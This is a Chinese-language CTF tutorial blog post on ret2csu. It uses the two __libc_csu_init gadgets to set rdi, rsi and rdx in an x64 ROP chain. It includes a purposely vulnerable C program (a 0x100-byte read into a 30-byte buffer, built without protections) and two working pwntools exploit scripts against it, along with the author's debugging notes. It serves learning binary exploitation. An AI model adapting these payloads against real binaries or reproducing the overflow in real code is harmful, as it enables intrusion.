This page looks best with JavaScript enabled

ret2csu:万能gadget实现传参

 ·  ☕ 5 min read · 👀... views

0x00 为什么需要万能gadget

众所周知,在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,分别是rdi、rsi、rdx、rcx、r8、r9。而当我们构建ROP时,往往我们很难找到每一个寄存器对应的 gadgets。 比如,用于控制第三个参数的rdx寄存器一般情况下就是不可控的。当然,这篇文章就是为了解决这一问题而写的,将介绍如何用利用 x64 下的 __libc_csu_init 中的两个特殊 gadgets实现万能传参。

0x01 ret2csu

ret2csu是blackhat大会在2018年的一个议题,即通过__libc_csu_init 中的两个特殊 gadgets可实现万能传参。__libc_csu_init 函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以可以认为这个函数一定会存在。我们IDA一下便可以看到这两个gadget

万能gadget1
万能gadget2

#万能gadget1:
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
  
#万能gadget2:
mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]; add  rbx, 1; cmp  rbx, rbp; jnz   short loc_400620

只要稍微稍微看得懂几条汇编指令,也能够分析出,处理后栈结构中布置的数据将要依次存入以下寄存器中: rbx, rbq, r12, rdx, rsi, edi

在这些寄存器中,我们主要关注的是r12,rdx,rsi,edi寄存器,他们分别保存着将要调用函数的指针的地址、第三个参数、第二个参数和第一个参数。而rbx和rbp必须的需要将它们的值置为0和1。因为,在gadget2中,我们call了 [r12+rbx8] ,将rbx置为0即 [r12+rbx8] == [r12],方便我们传参。而设置rbp为1是因为 add rbx, 1; cmp rbx, rbp; jnz xxxxxx 。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。

0x10 题目分析

为了练习万能gadget的使用,我特意自己写了一段小程序,即通过万能传参调用vul函数输出Success!代码附上:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<unistd.h>

int vul(int x,int y,int z){
    if(z == 3)
        printf("Success!\n");
    else
        printf("Try or Retry your payload\n");
    return 0;
}

int main(){
    char buf[30];
    vul(0, 0, 0);
    read(0,buf,0x100);
    return 0;

}

//编译指令
gcc -m64 -fno-stack-protector -no-pie vul.c -o vul

怎么看这都是一段人畜无害的baby_csu,但我实在没想到竟然后面还衍生出了那么多坑….
IDA分析
textview

一波上exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
sh = process("./vul")
elf = ELF("vul")
context.log_level = "debug"

offset = 40
gadget1 = 0x0040063A   #万能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
gadget2 = 0x00400620   #万能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]

print sh.recvline()

payload = offset*'a'
payload += p64(gadget1)
payload += p64(0)     #rbx
payload += p64(1)     #rbp
payload += p64(elf.symbols["vul"])    #r12  call
payload += p64(3) + p64(3) + p64(3)   #arg 3,2,1
payload += p64(gadget2)

payload += 'a'*56   # 填充
payload += p64(elf.symbols["main"])

sh.send(payload)
sh.interactive()

这里对第二次填充稍作解释。
万能gadget.png

可以看到,ROP链上我们先跳转到万能gadget1用于给寄存器赋值,然后retn到万能gadget2用于给寄存器转移值,但是万能gadget2运行完后又会运行下面那块函数(也就是万能gadget1),等于这整个过程会运行两次万能gadget1,这一系列操作将会抬升8*7共56字节的栈空间,因此我们还需要提供56个字节的垃圾数据进行填充,然后才能再拼接上retn要跳转的地址。

EXP完成,py运行….没有输出???edb启动,调试开始,踏坑之路开始….

error1

这后面这个乱七八糟一点也不像地址的东西是什么鬼!一波资料后,我发现我成功混淆了地址与指针的概念。call指令将会转移至该指针中所保存的地址的位置,而我使用*elf.symbols[“vul”]*得到的直接是vul函数的真实地址,从而导致经过指针运算符运算后出现了一个不是地址的地址。换句话说,如果我这里要调用的是一个已调用过的libc函数,那我可以直接给r12寄存器传elf.got[“xxx”],从而即可实现调用该函数。

找到问题后,就要想解决方案了,这里点名表扬傅师傅和南梦师傅给出的解决方案。一种是找到一个指针,第一次劫持流程将vul的地址存进去,然后再call调用;第二种则是绕过call,通过后面的retn跳转至vul执行。

0x20 解决方案

然后,我就挑了第二个方案解决此问题,因为这更容易实现(而且我的本意只是学习万能gadget的使用啊)。那么…怎么绕过呢?此处再次实名表扬傅师傅,他提示我可以用__init_array_start函数的指针来跳过call。__init_array_start函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择。下面附上exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
sh = process("./vul")
elf = ELF("vul")
context.log_level = "debug"
offset = 40
gadget1 = 0x0040063A
gadget2 = 0x00400620
__init_array_start = 0x00600E10

print sh.recvline()
payload = offset*'a'
payload += p64(gadget1)
payload += p64(0)     #rbx
payload += p64(1)     #rbp
payload += p64(__init_array_start)    #r12  call
payload += p64(3) + p64(3) + p64(3)   #arg 3,2,1
payload += p64(gadget2)
#payload += 56*'a'

payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15

payload += p64(elf.symbols["vul"])
#input()
sh.send(payload)
sh.recvline()
sh.interactive()

但是,这样的调用方法也会有缺点,那就是等到跳转到vul函数空间时,rdi和rsi寄存器中的值已经被改变了,也就是我们还需要找gadget重新给这两个寄存器赋值,不过最麻烦的第三个参数解决了,别的应该都不是什么问题。

0x30 参考资料

https://ctf-wiki.github.io/ctf-wiki/CTF/linux/stackoverflow/medium-rop-zh/

https://www.cnblogs.com/ichunqiu/p/9288935.html

https://www.anquanke.com/post/id/85129

https://www.cnblogs.com/Ox9A82/p/5487725.html

https://xz.aliyun.com/t/4068

Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer